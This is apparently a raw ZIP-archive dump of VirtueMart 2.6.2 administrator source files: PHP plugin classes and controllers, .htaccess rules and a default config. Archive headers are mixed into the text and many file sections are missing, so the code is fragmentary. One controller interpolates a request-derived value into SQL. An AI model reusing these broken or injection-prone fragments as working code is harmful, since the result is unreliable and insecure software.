require_once($this->_path.DS.'controllers'.DS.'myplug.php'); return true; }*/ /** * Plugs into the updater model to remove additional VM data (useful if the plugin depends on fields in a VM table) * * @param object $updater VirtueMartModelUpdatesMigration object */ public function onVmSqlRemove (&$updater) { return null; } /* example: $filename = $this->_path.DS.'install'.DS.'uninstall_required_data.sql'; $updater->execSQLFile($filename);*/ /** * Plugs into the updater model to reinstall additional VM data (useful if the plugin depends on fields in a VM table) * * @param object $updater VirtueMartModelUpdatesMigration object */ public function onVmSqlRestore (&$updater) { return null; } /* example: $filename = $this->_path.DS.'install'.DS.'install_required_data.sql'; $updater->execSQLFile($filename);*/ }PKtl>\Y((Xcom_virtuemart_update/administrator/components/com_virtuemart/plugins/vmcustomplugin.phpnuW+A name */ protected $customs; function __construct (& $subject, $config) { parent::__construct ($subject, $config); $this->_tablepkey = 'virtuemart_product_id'; $this->_tablename = '#__virtuemart_product_' . $this->_psType . '_plg_' . $this->_name; $this->_idName = 'virtuemart_custom_id'; $this->_configTableFileName = $this->_psType . 's'; $this->_configTableClassName = 'Table' . ucfirst ($this->_psType) . 's'; //TablePaymentmethods $this->_configTable = '#__virtuemart_customs'; } function onDisplayEditBECustom ($virtuemart_custom_id, &$customPlugin) { //if($this->plugin = $this->selectedThisByMethodId($this->_psType,$virtuemart_custom_id)){ if ($this->plugin = $this->selectedThisByMethodId ($virtuemart_custom_id)) { if (empty($this->plugin)) { $this->plugin->custom_jplugin_id = NULL; return $this->plugin; } //Must use here the table to get valid params $this->plugin = $this->getVmPluginMethod ($this->plugin->virtuemart_custom_id); if (empty($this->plugin->virtuemart_vendor_id)) { if (!class_exists ('VirtueMartModelVendor')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'vendor.php'); } $this->plugin->virtuemart_vendor_id = VirtueMartModelVendor::getLoggedVendor (); } $customPlugin = $this->plugin; // return $this->plugin; return TRUE; } } /* * helper to parse plugin parameters as object * */ public function parseCustomParams (&$field, $xParams = 'custom_params') { VmTable::bindParameterable ($field, $xParams, $this->_varsToPushParam); if (empty($field->custom_element)) { return 0; } if (!empty($field->custom_param) && is_string ($field->custom_param)) { $custom_param = json_decode ($field->custom_param, TRUE); } else { return; } //$field->custom_param = $custom_param; foreach ($custom_param as $k => $v) { if (!empty($v)) { $field->$k = $v; } } } /* * helper to get plugin parameters as object * All params are added to $this->params plugin */ public function getCustomParams (&$field) { VmTable::bindParameterable ($field, 'custom_params', $this->_varsToPushParam); //Why do we have this? if (empty($field->custom_element)) { return 0; } //Why do we have this, when bindParameterable could already doing it //And why we do it here, when we do it later again? foreach ($this->_varsToPushParam as $k => $v) { if (!isset($this->params->$k)) { $this->params->$k = $field->$k; } // vmdebug('fields org '.$this->_name,$this->params); } $this->virtuemart_custom_id = $field->virtuemart_custom_id; if (!empty($field->custom_param) && is_string ($field->custom_param)) { $this->params = json_decode ($field->custom_param); } else { return; } //$field->custom_param = $custom_param; //vmdebug('$this->_varsToPushParam '.$this->_name,$this->_varsToPushParam ); foreach ($this->_varsToPushParam as $k => $v) { if (!isset($this->params->$k)) { $this->params->$k = $field->$k; } } } /** * Helper to add all params of specific product of this custom to an object * * @param object $field * @param int $product_id */ protected function getPluginProductDataCustom (&$field, $product_id) { $id = $this->getIdForCustomIdProduct ($product_id, $field->virtuemart_custom_id); $datas = $this->getPluginInternalData ($id); if ($datas) { //$fields = get_object_vars($datas); // vmdebug('datas',$datas); foreach ($datas as $k=> $v) { if (!is_string ($v)) { continue; } // Only get real Table variable if (isset($field->$k) && $v === 0) { continue; } $field->$k = $v; } } } /** * helper to get plugin table as object * All params are added to $this->params plugin * * @param unknown_type $field * @param unknown_type $product_id */ protected function getPluginCustomData (&$field, $product_id) { $id = $this->getIdForCustomIdProduct ($product_id, $field->virtuemart_custom_id); $datas = $this->getPluginInternalData ($id); if ($datas) { foreach ($this->_varsToPushParam as $k => $v) { if (!isset($datas->$k)) { continue; } if (isset($this->params->$k) && $datas->$k == 0) { continue; } $this->params->$k = $datas->$k; } } } /** * This is the actions which take place, when a product gets stored * * @param string $type atm valid 'product' * @param array $data form data * @param int $id virtuemart_product_id */ function OnStoreProduct ($data, $plugin_param) { if (key ($plugin_param) !== $this->_name) { vmdebug('OnStoreProduct return because key '.key ($plugin_param).'!== '. $this->_name); return; } $key = key ($plugin_param); $plugin_param[$key]['virtuemart_product_id'] = $data['virtuemart_product_id']; //vmdebug ('plgData', $plugin_param[$key]); // $this->id = $this->getIdForCustomIdProduct($data['virtuemart_product_id'],$plugin_param[$key]['virtuemart_custom_id']); $this->storePluginInternalDataProduct ($plugin_param[$key], 'id', $data['virtuemart_product_id']); } /** * This stores the data of the plugin, attention NOT the configuration of the pluginmethod, * this function should never be triggered only called from triggered functions. * * @author Max Milbers * @param array $values array or object with the data to store * @param string $tableName When different then the default of the plugin, provid it here * @param string $tableKey an additionally unique key */ protected function storePluginInternalDataProduct (&$values, $primaryKey = 0, $product_id = 0) { $custom_id = $values['virtuemart_custom_id']; $db = JFactory::getDBO (); if (!empty($custom_id) && !empty($product_id)) { $_qry = 'SELECT `id` FROM `#__virtuemart_product_custom_plg_' . $this->_name . '` WHERE `virtuemart_product_id`=' . (int)$product_id . ' and `virtuemart_custom_id`=' . (int)$custom_id; $db->setQuery ($_qry); $id = $db->loadResult (); } $values['id'] = $id ? $id : 0; // vmdebug('$value',$values, $id); $this->storePluginInternalData ($values); return $values; } /** * Calculate the variant price by The plugin * override calculateModificators() in calculatorh. * Eg. recalculate price by a quantity set in the plugin * You must reimplement modifyPrice() in your plugin * or price is returned defaut custom_price */ // public function plgVmCalculatePluginVariant( $product, $field,$selected,$row){ public function getCustomVariant ($product, &$productCustomsPrice, $selected) { if ($productCustomsPrice->custom_element !== $this->_name) { return FALSE; } vmPlugin::declarePluginParams ('custom', $productCustomsPrice->custom_element, $productCustomsPrice->custom_jplugin_id, $productCustomsPrice); // VmTable::bindParameterable($productCustomsPrice,'custom_params',$this->_varsToPushParam); $pluginFields = JRequest::getVar ('customPlugin', NULL); if ($pluginFields == NULL and isset($product->customPlugin)) { $pluginFields = json_decode ($product->customPlugin, TRUE); } return $pluginFields[$productCustomsPrice->virtuemart_customfield_id][$this->_name]; } /** * convert param for render and * display The plugin in cart * return null if not $this->_name */ public function GetPluginInCart ($product) { //$plgName = $productCustom->value; if (!empty($product->param)) { if (!is_array ($product->param)) { return FALSE; } $param = array(); // vmdebug('$product->param',$product->param); foreach ($product->param as $k => $plg) { if (is_array ($plg) and key ($plg) == $this->_name) { $param[$k] = $plg[$this->_name]; } } if ($param) { return $param; } } return NULL; } /** * render the plugin with param to display on product edit * called by customfields inputTypePlugin * */ public function selectSearchableCustom (&$selectList) { return NULL; } /** * render the plugin with param to display on product edit * called by customfields inputTypePlugin * */ /* public function plgVmAddToSearch (&$where, $searchplugin) { }*/ /** * render the plugin with param to display on product edit * called by customfields inputTypePlugin * */ public function GetNameByCustomId ($custom_id) { static $custom_element; if (isset($custom_element)) { return $custom_element; } $db = JFactory::getDBO (); $q = 'SELECT `custom_element` FROM `#__virtuemart_customs` WHERE `virtuemart_custom_id`=' . (int)$custom_id; $db->setQuery ($q); $custom_element = $db->loadResult (); return $custom_element; } /** * render the plugin with param to display on product edit * called by customfields inputTypePlugin * */ public function getIdForCustomIdProduct ($product_id, $custom_id) { $db = JFactory::getDBO (); $q = 'SELECT `id` FROM `#__virtuemart_product_custom_plg_' . $this->_name . '` WHERE `virtuemart_product_id`=' . (int)$product_id . ' and `virtuemart_custom_id`=' . (int)$custom_id; $db->setQuery ($q); return $db->loadResult (); } } PKtl>\2_com_virtuemart_update/administrator/components/com_virtuemart/plugins/vmuserfieldtypeplugin.phpnuW+A_tablename = '#__virtuemart_userfield_' . $this->_name; // $this->_createTable(); // $this->_tableChecked = true; } // add params fields in object function AddUserfieldParameter($params){ $plgParams = explode('|', $params); foreach($plgParams as $item){ if (empty($item)) continue; $param = explode('=',$item); $this->$param[0] = json_decode($param[1]); //unset($item[0]); } } // add params fields in object by name function AddUserfieldParameterByPlgName($plgName){ if(empty($this->_db)) $this->_db = JFactory::getDBO(); $q = 'SELECT `params` FROM `#__virtuemart_userfields` WHERE `type` = "plugin' . $plgName.'"'; $this->_db->setQuery($q); $params = $this->_db->loadResult(); $this->AddUserfieldParameter($params); } } PKtl>\)Ocom_virtuemart_update/administrator/components/com_virtuemart/plugins/.htaccessnuW+A Order allow,deny Deny from all PKtl>\ (ko^^Zcom_virtuemart_update/administrator/components/com_virtuemart/virtuemart_defaults.cfg-distnuW+A# Required configuration data for the VirtueMart installer # http://www.virtuemart.net # Copyright (c) 2004 - 2010 VirtueMart Team. All rights reserved. # http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php # VirtueMart is free software. This version may have been modified pursuant # to the GNU General Public License, and as distributed it includes or # is derivative of works licensed under the GNU General Public License or # other free or open source software licenses. # $Id: virtuemart_defaults.cfg 3726 2011-07-16 12:01:49Z Milbo $ # # Notes: # - The hash-sign (#) is a comment character, but only if it's the first non-blank char on a line # - The equal-sign (=) when the default value is empty, is optional # - Constant values can be used by enclosing them in curly brackets ({}), eg: # some_path_value={JPATH_ROOT}{DS}virtuemart{DS}somewhere [config] ##shop settings shop_is_offline=0 offline_message=Our Shop is currently down for maintenance. Please check back again soon. use_as_catalog=0 currency_converter_module=convertECB.php order_mail_html=1 useSSL=0 useVendorEmail=0 dangeroustools=0 debug_enable=none google_jquery=0 multix=none usefancy=1 jchosen=1 enableEnglish=1 ##Shopfront pdf_button_enable=1 show_emailfriend=0 show_printicon=1 show_out_of_stock_products=1 coupons_enable=1 show_uncat_child_products=0 coupons_default_expire=1,D weight_unit_default=KG lwh_unit_default=m list_limit=20 showReviewFor=all reviewMode=bought showRatingFor=all ratingMode=bought reviews_autopublish=1 reviews_minimum_comment_length=0 reviews_maximum_comment_length=2000 vmtemplate=0 categorytemplate=default showCategory=1 categorylayout=0 categories_per_row=3 productlayout=0 products_per_row=3 vmlayout=0 show_store_desc=1 show_categories=1 homepage_categories_per_row=3 homepage_products_per_row=3 show_featured=1 featured_products_rows=1 show_topTen=1 topTen_products_rows=1 show_recent=1 recent_products_rows=1 show_latest=1 latest_products_rows=1 ##Paths assets_general_path=components/com_virtuemart/assets/ media_category_path=images/stories/virtuemart/category/ media_product_path=images/stories/virtuemart/product/ media_manufacturer_path=images/stories/virtuemart/manufacturer/ media_vendor_path=images/stories/virtuemart/vendor/ forSale_path_thumb=images/stories/virtuemart/forSale/resized/ img_resize_enable=1 img_width=90 img_height=90 no_image_set=noimage.gif no_image_found=warning.png ##Product order settings browse_orderby_field=pc.ordering browse_cat_orderby_field=c.ordering browse_orderby_fields=array:`p`.product_sku|category_name|mf_name|product_name|pc.ordering browse_search_fields=array:`p`.product_sku|category_name|category_description|mf_name|product_name|product_s_desc|product_desc ##Pricing askprice=1 roundindig=1 show_prices=1 price_show_packaging_pricelabel=0 show_tax=1 basePrice=1 basePriceText=1 basePriceRounding=-1 variantModification=1 variantModificationText=1 variantModificationRounding=-1 basePriceVariant=1 basePriceVariantText=1 basePriceVariantRounding=-1 basePriceWithTax=1 basePriceWithTaxText=1 basePriceWithTaxRounding=-1 discountedPriceWithoutTax=1 discountedPriceWithoutTaxText=1 discountedPriceWithoutTaxRounding=-1 salesPriceWithDiscount=1 salesPriceWithDiscountText=1 salesPriceWithDiscountRounding=-1 salesPrice=1 salesPriceText=1 salesPriceRounding=-1 priceWithoutTax=1 priceWithoutTaxText=1 priceWithoutTaxRounding=-1 discountAmount=1 discountAmountText=1 discountAmountRounding=-1 taxAmount=1 taxAmountText=1 taxAmountRounding=-1 unitPrice=1 unitPriceText=1 unitPriceRounding=-1 ##Check stock addtocart_popup=1 check_stock=0 automatic_payment=1 automatic_shipment=1 agree_to_tos_onorder=0 oncheckout_show_legal_info=1 oncheckout_show_register=1 oncheckout_show_steps=0 oncheckout_show_register_text=COM_VIRTUEMART_ONCHECKOUT_DEFAULT_TEXT_REGISTER inv_os=C email_os_s=array:U|C|X|R|S email_os_v=array:U|C|X|R ##SEO seo_disabled=0 seo_translate=0 seo_use_id=0 PKtl>\WwIcom_virtuemart_update/administrator/components/com_virtuemart/version.phpnuW+A" . vmVersion::$RELDATE . " " . vmVersion::$RELTIME . " " . vmVersion::$RELTZ; return; } if( !class_exists( 'vmVersion' ) ) { /** Version information */ class vmVersion { /** @var string Product */ static $PRODUCT = 'VirtueMart'; /** @var int Release Number */ static $RELEASE = '2.6.2'; /** @var string Development Status */ static $DEV_STATUS = 'MINOR'; /** @var string Codename */ static $CODENAME = 'PowerFox'; /** @var string Date */ static $RELDATE = 'May 22 2014'; /** @var string Time */ static $RELTIME = '1259'; /** @var string Timezone */ static $RELTZ = 'GMT'; /** @var string Revision */ static $REVISION = 'Revision: 7985'; /** @var string Copyright Text */ static $COPYRIGHT = 'Copyright (C) 2005-2012 VirtueMart Development Team - All rights reserved.'; /** @var string URL */ static $URL = 'VirtueMart is a Free Component for Joomla! released under the GNU/GPL2 License.'; } $shortversion = vmVersion::$PRODUCT . " " . vmVersion::$RELEASE . " " . vmVersion::$DEV_STATUS. " "; $myVersion = $shortversion .' '.vmVersion::$REVISION. " [".vmVersion::$CODENAME ."]
      " . vmVersion::$RELDATE . " " . vmVersion::$RELTIME . " " . vmVersion::$RELTZ; } // pure php no closing tagPKtl>\#o,,Hcom_virtuemart_update/administrator/components/com_virtuemart/index.htmlnuW+APKtl>\5 5 Scom_virtuemart_update/administrator/components/com_virtuemart/controllers/media.phpnuW+AgetView('media', 'json'); /* Now display the view. */ $view->display(null); } function save($data = 0){ $fileModel = VmModel::getModel('media'); //Now we try to determine to which this media should be long to $data = JRequest::get('post'); //$data['file_title'] = JRequest::getVar('file_title','','post','STRING',JREQUEST_ALLOWHTML); $data['file_description'] = JRequest::getVar('file_description','','post','STRING',JREQUEST_ALLOWHTML); $data['media_attributes'] = JRequest::getWord('media_attributes'); $data['file_type'] = JRequest::getWord('file_type'); if(empty($data['file_type'])){ $data['file_type'] = $data['media_attributes']; } if ($id = $fileModel->store($data,$data['file_type'])) { $msg = JText::_('COM_VIRTUEMART_FILE_SAVED_SUCCESS'); } else { $msg = $fileModel->getError(); } $cmd = JRequest::getCmd('task'); if($cmd == 'apply'){ $redirection = 'index.php?option=com_virtuemart&view=media&task=edit&virtuemart_media_id='.$id; } else { $redirection = 'index.php?option=com_virtuemart&view=media'; } $this->setRedirect($redirection, $msg); } function synchronizeMedia(){ if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); if(!Permissions::getInstance()->check('admin')){ $msg = 'Forget IT'; $this->setRedirect('index.php?option=com_virtuemart', $msg); } if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->portMedia(); $this->setRedirect($this->redirectPath, $result); } } // pure php no closing tag PKtl>\t=99dcom_virtuemart_update/administrator/components/com_virtuemart/controllers/manufacturercategories.phpnuW+A\͒ܝRcom_virtuemart_update/administrator/components/com_virtuemart/controllers/calc.phpnuW+AsetRedirect( 'index.php?option=com_virtuemart&view=calc', JText::_('COM_VIRTUEMART_NO_ITEMS_SELECTED') ); return false; } //getting the model $model = VmModel::getModel('calc'); if ($model->orderCalc($id, -1)) { $msg = JText::_('COM_VIRTUEMART_ITEM_MOVED_UP'); } else { $msg = $model->getError(); } $this->setRedirect( 'index.php?option=com_virtuemart&view=calc', $msg ); } /** * Save the calc order * * @author jseros */ public function orderDown() { // Check token JRequest::checkToken() or jexit( 'Invalid Token' ); $id = 0; $cid = JRequest::getVar( 'cid', array(), 'post', 'array' ); JArrayHelper::toInteger($cid); if (isset($cid[0]) && $cid[0]) { $id = $cid[0]; } else { $this->setRedirect( 'index.php?option=com_virtuemart&view=calc', JText::_('COM_VIRTUEMART_NO_ITEMS_SELECTED') ); return false; } //getting the model $model = VmModel::getModel('calc'); if ($model->orderCalc($id, 1)) { $msg = JText::_('COM_VIRTUEMART_ITEM_MOVED_DOWN'); } else { $msg = $model->getError(); } $this->setRedirect( 'index.php?option=com_virtuemart&view=calc', $msg ); } /** * Save the categories order */ public function saveOrder() { // Check for request forgeries JRequest::checkToken() or jexit( 'Invalid Token' ); $cid = JRequest::getVar( 'cid', array(), 'post', 'array' ); JArrayHelper::toInteger($cid); $model = VmModel::getModel('calc'); $order = JRequest::getVar('order', array(), 'post', 'array'); JArrayHelper::toInteger($order); if ($model->setOrder($cid,$order)) { $msg = JText::_('COM_VIRTUEMART_NEW_ORDERING_SAVED'); } else { $msg = $model->getError(); } $this->setRedirect('index.php?option=com_virtuemart&view=calc', $msg ); } } // pure php no closing tag PKtl>\0S  \com_virtuemart_update/administrator/components/com_virtuemart/controllers/shipmentmethod.phpnuW+AgetView('shipmentmethod', 'html'); $model = VmModel::getModel('shipmentmethod'); $msgtype = ''; //$cids = JRequest::getInt('virtuemart_product_id',0); $cids = JRequest::getVar($this->_cidName, JRequest::getVar('virtuemart_shipment_id',array(),'', 'ARRAY'), '', 'ARRAY'); //jimport( 'joomla.utilities.arrayhelper' ); JArrayHelper::toInteger($cids); foreach($cids as $cid){ if ($model->createClone($cid)) $msg = JText::_('COM_VIRTUEMART_SHIPMENT_CLONED_SUCCESSFULLY'); else { $msg = JText::_('COM_VIRTUEMART_SHIPMENT_NOT_CLONED_SUCCESSFULLY'); $msgtype = 'error'; } } $mainframe->redirect('index.php?option=com_virtuemart&view=shipmentmethod', $msg, $msgtype); } } // pure php no closing tag PKtl>\^Ji Tcom_virtuemart_update/administrator/components/com_virtuemart/controllers/plugin.phpnuW+Acheck('admin')){ return false; } $type = JRequest::getWord('type', 'vmcustom'); $typeWhiteList = array('vmshopper','vmcustom','vmcalculation','vmpayment','vmshipment', 'vmuserfield'); if(!in_array($type,$typeWhiteList)) return false; $name = JRequest::getString('name',''); JPluginHelper::importPlugin($type, $name); $dispatcher = JDispatcher::getInstance(); // if you want only one render simple in the plugin use jExit(); // or $render is an array of code to echo as html or json Object! $render = null ; $dispatcher->trigger('plgVmOnSelfCallBE',array($type, $name, &$render)); if ($render ) { // Get the document object. $document =JFactory::getDocument(); if (JRequest::getWord('cache', 'no')) { JResponse::setHeader('Cache-Control','no-cache, must-revalidate'); JResponse::setHeader('Expires','Mon, 6 Jul 2000 10:00:00 GMT'); } $format = JRequest::getWord('format', 'json'); if ($format == 'json') { $document->setMimeEncoding('application/json'); // Change the suggested filename. JResponse::setHeader('Content-Disposition','attachment;filename="'.$type.'".json"'); echo json_encode($render); } else echo $render; } return true; } } PKtl>\eScom_virtuemart_update/administrator/components/com_virtuemart/controllers/about.phpnuW+A\lyG-*%*%Tcom_virtuemart_update/administrator/components/com_virtuemart/controllers/orders.phpnuW+AgetOrderId($id, $dir)) { $order_id = $id; $msg = JText::_('COM_VIRTUEMART_NO_MORE_ORDERS'); } else { $msg =''; } $this->setRedirect('index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id='.$order_id ,$msg ); } /** * NextOrder * renamed, the name was ambigous notice by Max Milbers * @author Kohl Patrick */ public function prevItem(){ $this->nextItem('DESC'); } /** * Generic cancel task * * @author Max Milbers */ public function cancel(){ // back from order $this->setRedirect('index.php?option=com_virtuemart&view=orders' ); } /** * Shows the order details * @deprecated */ public function editOrderStatus() { /* Create the view object */ $view = $this->getView('orders', 'html'); /* Default model */ $model = VmModel::getModel('orders'); $model->updateOrderStatus(); /* Now display the view. */ $view->display(); } /** * Update an order status * * @author Max Milbers */ public function updatestatus() { //vmdebug('updatestatus'); $mainframe = Jfactory::getApplication(); $lastTask = JRequest::getWord('last_task'); /* Load the view object */ $view = $this->getView('orders', 'html'); /* Update the statuses */ $model = VmModel::getModel('orders'); if ($lastTask == 'updatestatus') { // single order is in POST but we need an array $order = array() ; $virtuemart_order_id = JRequest::getInt('virtuemart_order_id'); $order[$virtuemart_order_id] = (JRequest::get('post')); //vmdebug( 'order',$order); $result = $model->updateOrderStatus($order); } else { $result = $model->updateOrderStatus(); } $msg=''; if ($result['updated'] > 0) $msg = JText::sprintf('COM_VIRTUEMART_ORDER_UPDATED_SUCCESSFULLY', $result['updated'] ); else if ($result['error'] == 0) $msg .= JText::_('COM_VIRTUEMART_ORDER_NOT_UPDATED'); if ($result['error'] > 0) $msg .= JText::sprintf('COM_VIRTUEMART_ORDER_NOT_UPDATED_SUCCESSFULLY', $result['error'] , $result['total']); if ('updatestatus'== $lastTask ) { $mainframe->redirect('index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id='.$virtuemart_order_id , $msg); } else { $mainframe->redirect('index.php?option=com_virtuemart&view=orders', $msg); } } /** * Save changes to the order item status * */ public function saveItemStatus() { //vmdebug('saveItemStatus'); $mainframe = Jfactory::getApplication(); /* Load the view object */ $view = $this->getView('orders', 'html'); $data = JRequest::get('post'); $model = VmModel::getModel(); $model->updateItemStatus(JArrayHelper::toObject($data), $data['new_status']); $mainframe->redirect('index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id='.$data['virtuemart_order_id']); } /** * Display the order item details for editing */ public function editOrderItem() { //vmdebug('editOrderItem'); JRequest::setVar('layout', 'orders_editorderitem'); // JRequest::setVar('hidemenu', 1); parent::display(); } /** * correct position, working with json? actually? WHat ist that? * * Get a list of related products * @author Max Milbers */ public function getProducts() { /* Create the view object */ $view = $this->getView('orders', 'json'); $view->setLayout('orders_editorderitem'); /* Now display the view. */ $view->display(); } /** * Update status for the selected order items */ public function updateOrderItemStatus() { //vmdebug('updateOrderItemStatus'); $mainframe = Jfactory::getApplication(); $model = VmModel::getModel(); $_items = JRequest::getVar('item_id', 0, '', 'array'); //JArrayHelper::toInteger($_items); $_orderID = JRequest::getInt('virtuemart_order_id', ''); foreach ($_items as $key=>$value) { //vmdebug('updateOrderItemStatus VAL ',$value); if (!isset($value['comments'])) $value['comments'] = ''; $data = (object)$value; $data->virtuemart_order_id = $_orderID; // $model->updateSingleItem((int)$key, $value['order_status'],$value['comments'],$_orderID); $model->updateSingleItem((int)$key, $data, true); } $model->deleteInvoice($_orderID); $mainframe->redirect('index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id='.$_orderID); } public function updateOrderHead() { $mainframe = Jfactory::getApplication(); $model = VmModel::getModel(); $_items = JRequest::getVar('item_id', 0, '', 'array'); $_orderID = JRequest::getInt('virtuemart_order_id', ''); $model->UpdateOrderHead((int)$_orderID, JRequest::get('post')); $model->deleteInvoice($_orderID); $mainframe->redirect('index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id='.$_orderID); } public function CreateOrderHead() { $mainframe = Jfactory::getApplication(); $model = VmModel::getModel(); $orderid = $model->CreateOrderHead(); $mainframe->redirect('index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id='.$orderid ); } /** * Update a single order item public function updateOrderItem() { //vmdebug('updateOrderItem'); $mainframe = Jfactory::getApplication(); $model = VmModel::getModel('orders'); // $model->updateSingleItem(); $mainframe->redirect('index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id='.JRequest::getInt('virtuemart_order_id', '')); } */ public function newOrderItem() { //vmdebug('newOrderItem'); $orderId = JRequest::getInt('virtuemart_order_id', ''); $model = VmModel::getModel(); $msg = ''; $data = JRequest::get('post'); if (!$model->saveOrderLineItem($data)) { $msg = $model->getError(); } $model->deleteInvoice($orderId); $editLink = 'index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id=' . $orderId; $this->setRedirect($editLink, $msg); } /** * Removes the given order item */ public function removeOrderItem() { //vmdebug('removeOrderItem'); $model = VmModel::getModel(); $msg = ''; $orderId = JRequest::getInt('orderId', ''); // TODO $orderLineItem as int ??? $orderLineItem = JRequest::getVar('orderLineId', ''); if (!$model->removeOrderLineItem($orderLineItem)) { $msg = $model->getError(); } $model->deleteInvoice($orderId); $editLink = 'index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id=' . $orderId; $this->setRedirect($editLink, $msg); } public function exportOrdersAsCSV(){ $model = VmModel::getModel(); $idArray = JRequest::getVar('cid', 0, '', 'array'); $orders = array(); foreach($idArray as $orderId){ $orders[] = $model -> getOrder($orderId); } $csv = ''; $head = array('virtuemart_order_userinfo_id','virtuemart_vendor_id','order_number','order_total','order_subtotal','order_tax','order_status','user_currency_rate','customer_note'); foreach($head as $item){ $csv .= '"'.$item.'";"'; } foreach($orders as $order){ // $order = (array) $order;7 // $order['details'] // $order['items'] // $order['calc_rules'] $attribs = get_object_vars($order['details']['BT']); // $csv = '"BT"'; // foreach($attribs as $k=>$v){ // $csv .= ';"'.$k.':'$v; // } // $csv .= "\n"; } $jUser = JFactory::getUser(); $date = date("Y-m-d"); $name = $jUser->name.$date.'.csv'; // header("Content-Disposition: attachment; filename=\"".JFile::getName($media->file_url)."\""); // header("Content-Disposition: attachment; filename=\"".$name."\""); // echo $csv; parent::display(); // jExit(); } } // pure php no closing tag PKtl>\D D Wcom_virtuemart_update/administrator/components/com_virtuemart/controllers/translate.phpnuW+AgetDefault() == $lang ) $dblang =''; $dblang= strtr($lang,'-','_'); $id = JRequest::getInt('id',0); $viewKey = JRequest::getWord('editView'); // TODO temp trick for vendor if ($viewKey == 'vendor') $id = 1 ; $tables = array ('category' =>'categories','product' =>'products','manufacturer' =>'manufacturers','manufacturercategories' =>'manufacturercategories','vendor' =>'vendors', 'paymentmethod' =>'paymentmethods', 'shipmentmethod' =>'shipmentmethods'); if ( !array_key_exists($viewKey, $tables) ) { $json['msg'] ="Invalid view ". $viewKey; echo json_encode($json); jExit(); } $tableName = '#__virtuemart_'.$tables[$viewKey].'_'.$dblang; $db =JFactory::getDBO(); $q='select * FROM `'.$tableName.'` where `virtuemart_'.$viewKey.'_id` ='.$id; $db->setQuery($q); if ($json['fields'] = $db->loadAssoc()) { $json['structure'] = 'filled' ; $json['msg'] = jText::_('COM_VIRTUEMART_SELECTED_LANG').':'.$lang; } else { $json['structure'] = 'empty' ; $db->setQuery('SHOW COLUMNS FROM '.$tableName); $tableDescribe = $db->loadAssocList(); array_shift($tableDescribe); $fields=array(); foreach ($tableDescribe as $key =>$val) $fields[$val['Field']] = $val['Field'] ; $json['fields'] = $fields; $json['msg'] = JText::sprintf('COM_VIRTUEMART_LANG_IS_EMPTY',$lang ,jText::_('COM_VIRTUEMART_'.strtoupper( $viewKey)) ) ; } echo json_encode($json); jExit(); } } //pure php no tag PKtl>\)Scom_virtuemart_update/administrator/components/com_virtuemart/controllers/.htaccessnuW+A Order allow,deny Deny from all PKtl>\ YD-D-Ucom_virtuemart_update/administrator/components/com_virtuemart/controllers/product.phpnuW+AaddViewPath(JPATH_ADMINISTRATOR.DS.'components'.DS.'com_virtuemart' . DS . 'views'); } /** * Shows the product add/edit screen */ public function edit($layout='edit') { parent::edit('product_edit'); } /** * We want to allow html so we need to overwrite some request data * * @author Max Milbers */ function save($data = 0){ $data = JRequest::get('post'); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(Permissions::getInstance()->check('admin')){ $data['product_desc'] = JRequest::getVar('product_desc','','post','STRING',2); $data['product_s_desc'] = JRequest::getVar('product_s_desc','','post','STRING',2); $data['customtitle'] = JRequest::getVar('customtitle','','post','STRING',2); } else { $data['product_desc'] = JRequest::getVar('product_desc','','post','STRING',2); $data['product_desc'] = JComponentHelper::filterText($data['product_desc']); //Why we have this? $multix = Vmconfig::get('multix','none'); if( $multix != 'none' ){ //in fact this shoudl be used, when the mode is administrated and the sysetm is so that //every product must be approved by an admin. unset($data['published']); //unset($data['childs']); } } parent::save($data); } function saveJS(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit( 'Invalid Token save' ); $model = VmModel::getModel($this->_cname); $id = $model->store($data); $errors = $model->getErrors(); if(empty($errors)) { $msg = JText::sprintf('COM_VIRTUEMART_STRING_SAVED',$this->mainLangKey); $type = 'save'; } else $type = 'error'; foreach($errors as $error){ $msg = ($error).'
      '; } $json['msg'] = $msg; if ($id) { $json['product_id'] = $id; $json['ok'] = 1 ; } else { $json['ok'] = 0 ; } echo json_encode($json); jExit(); } /** * This task creates a child by a given product id * * @author Max Milbers */ public function createChild(){ $app = Jfactory::getApplication(); /* Load the view object */ $view = $this->getView('product', 'html'); $model = VmModel::getModel('product'); //$cids = JRequest::getVar('cid'); $cids = JRequest::getVar($this->_cidName, JRequest::getVar('virtuemart_product_id',array(),'', 'ARRAY'), '', 'ARRAY'); //jimport( 'joomla.utilities.arrayhelper' ); JArrayHelper::toInteger($cids); foreach($cids as $cid){ if ($id=$model->createChild($cid)){ $msg = JText::_('COM_VIRTUEMART_PRODUCT_CHILD_CREATED_SUCCESSFULLY'); $redirect = 'index.php?option=com_virtuemart&view=product&task=edit&product_parent_id='.$cids[0].'&virtuemart_product_id='.$id; } else { $msg = JText::_('COM_VIRTUEMART_PRODUCT_NO_CHILD_CREATED_SUCCESSFULLY'); $msgtype = 'error'; $redirect = 'index.php?option=com_virtuemart&view=product'; } } $app->redirect($redirect, $msg, $msgtype); } /** * This task creates a child by a given product id * * @author Max Milbers */ public function createVariant(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $app = Jfactory::getApplication(); /* Load the view object */ $view = $this->getView('product', 'html'); $model = VmModel::getModel('product'); //$cids = JRequest::getVar('cid'); //$cid = JRequest::getInt('virtuemart_product_id',0); $cid = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($cid) && count($cid) > 0){ $cid = (int)$cid[0]; } else { $cid = (int)$cid; } if(empty($cid)){ 